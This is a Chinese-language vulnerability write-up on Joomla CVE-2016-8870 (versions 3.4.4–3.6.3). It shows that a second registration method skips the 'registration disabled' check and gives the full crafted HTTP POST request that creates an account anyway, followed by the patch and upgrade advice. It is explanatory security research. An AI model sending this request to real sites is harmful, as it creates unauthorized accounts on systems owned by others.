Author: p0wd3r (知道创宇404安全实验室)
Date: 2016-10-26
0x00 漏洞概述
1.漏洞简介
Joomla是一个自由开源的内容管理系统,近日研究者发现在其3.4.4到3.6.3的版本中存在两个漏洞:CVE-2016-8869,CVE-2016-8870。我们在这里仅分析CVE-2016-8870,利用该漏洞,攻击者可以在网站关闭注册的情况下注册用户。Joomla官方已对此漏洞发布升级公告。
2.漏洞影响
网站关闭注册的情况下仍可创建用户
3.影响版本
3.4.4 to 3.6.3
0x01 漏洞复现
1. 环境搭建
代码语言:javascript复制wget https://github.com/joomla/joomla-cms/releases/download/3.6.3/Joomla_3.6.3-Stable-Full_Package.tar.gz
解压后放到服务器目录下,例如/var/www/html
创建个数据库:
代码语言:javascript复制docker run --name joomla-mysql -e MYSQL_ROOT_PASSWORD=hellojoomla -e MYSQL_DATABASE=jm -d mysql
访问服务器路径进行安装即可。
2.漏洞分析
在存在漏洞的版本中我们可以看到一个有趣的现象,即存在两个用于用户注册的方法:
- 位于
components/com_users/controllers/registration.php
中的UsersControllerRegistration::register()
- 位于
components/com_users/controllers/user.php
中的UsersControllerUser::register()
我们对比一下代码:
UsersControllerRegistration::register()
:
public function register()
{
// Check for request forgeries.
JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN'));
// If registration is disabled - Redirect to login page.
if (JComponentHelper::getParams('com_users')->get('allowUserRegistration') == 0)
{
$this->setRedirect(JRoute::_('index.php?option=com_users&view=login', false));
return false;
}
$app = JFactory::getApplication();
$model = $this->getModel('Registration', 'UsersModel');
// Get the user data.
$requestData = $this->input->post->get('jform', array(), 'array');
// Validate the posted data.
$form = $model->getForm();
...
}
UsersControllerUser::register()
:
public function register()
{
JSession::checkToken('post') or jexit(JText::_('JINVALID_TOKEN'));
// Get the application
$app = JFactory::getApplication();
// Get the form data.
$data = $this->input->post->get('user', array(), 'array');
// Get the model and validate the data.
$model = $this->getModel('Registration', 'UsersModel');
$form = $model->getForm();
...
}
可以看到相对于UsersControllerRegistration::register()
,UsersControllerUser::register()
的实现中并没有这几行代码:
// If registration is disabled - Redirect to login page.
if (JComponentHelper::getParams('com_users')->get('allowUserRegistration') == 0)
{
$this->setRedirect(JRoute::_('index.php?option=com_users&view=login', false));
return false;
}
这几行代码是检查是否允许注册,也就是说如果我们可以用UsersControllerUser::register()
这个方法来进行注册就可以绕过这个检测。
通过测试可知正常的注册使用的是UsersControllerRegistration::register()
,请求包如下:
POST /index.php/component/users/?task=registration.register HTTP/1.1
...
Content-Type: multipart/form-data; boundary=----
WebKitFormBoundaryefGhagtDbsLTW5qI
...
Cookie: yourcookie
------WebKitFormBoundaryefGhagtDbsLTW5qI
Content-Disposition: form-data; name="jform[name]"
tomcat
------WebKitFormBoundaryefGhagtDbsLTW5qI
Content-Disposition: form-data; name="jform[username]"
tomcat
------WebKitFormBoundaryefGhagtDbsLTW5qI
Content-Disposition: form-data; name="jform[password1]"
tomcat
------WebKitFormBoundaryefGhagtDbsLTW5qI
Content-Disposition: form-data; name="jform[password2]"
tomcat
------WebKitFormBoundaryefGhagtDbsLTW5qI
Content-Disposition: form-data; name="jform[email1]"
tomcat@my.local
------WebKitFormBoundaryefGhagtDbsLTW5qI
Content-Disposition: form-data; name="jform[email2]"
tomcat@my.local
------WebKitFormBoundaryefGhagtDbsLTW5qI
Content-Disposition: form-data; name="option"
com_users
------WebKitFormBoundaryefGhagtDbsLTW5qI
Content-Disposition: form-data; name="task"
registration.register
------WebKitFormBoundaryefGhagtDbsLTW5qI
Content-Disposition: form-data; name="yourtoken"
1
------WebKitFormBoundaryefGhagtDbsLTW5qI--
虽然正常注册并没有使用UsersControllerUser::register()
,但是并不代表我们不能使用。阅读代码可知,只要将请求包进行如下修改即可使用存在漏洞的函数进行注册:
registration.register
->user.register
jform[*]
->user[*]
所以完整的复现流程如下:
1.首先在后台关闭注册功能,关闭后首页没有注册选项:
2.然后通过访问index.php
抓包获取cookie,通过看index.php
源码获取token:
3.构造注册请求:
代码语言:javascript复制POST /index.php/component/users/?task=registration.register HTTP/1.1
...
Content-Type: multipart/form-data; boundary=----
WebKitFormBoundaryefGhagtDbsLTW5qI
...
Cookie: yourcookie
------WebKitFormBoundaryefGhagtDbsLTW5qI
Content-Disposition: form-data; name="user[name]"
attacker
------WebKitFormBoundaryefGhagtDbsLTW5qI
Content-Disposition: form-data; name="user[username]"
attacker
------WebKitFormBoundaryefGhagtDbsLTW5qI
Content-Disposition: form-data; name="user[password1]"
attacker
------WebKitFormBoundaryefGhagtDbsLTW5qI
Content-Disposition: form-data; name="user[password2]"
attacker
------WebKitFormBoundaryefGhagtDbsLTW5qI
Content-Disposition: form-data; name="user[email1]"
attacker@my.local
------WebKitFormBoundaryefGhagtDbsLTW5qI
Content-Disposition: form-data; name="user[email2]"
attacker@my.local
------WebKitFormBoundaryefGhagtDbsLTW5qI
Content-Disposition: form-data; name="option"
com_users
------WebKitFormBoundaryefGhagtDbsLTW5qI
Content-Disposition: form-data; name="task"
user.register
------WebKitFormBoundaryefGhagtDbsLTW5qI
Content-Disposition: form-data; name="yourtoken"
1
------WebKitFormBoundaryefGhagtDbsLTW5qI--
4.发包,成功注册:
3.补丁分析
官方删除了UsersControllerUser::register()
方法。
0x02 修复方案
升级到3.6.4
0x03 参考
https://www.seebug.org/vuldb/ssvid-92496
https://developer.joomla.org/security-centre/659-20161001-core-account-creation.html
http://www.fox.ra.it/technical-articles/how-i-found-a-joomla-vulnerability.html
https://www.youtube.com/watch?v=Q_2M2oJp5l4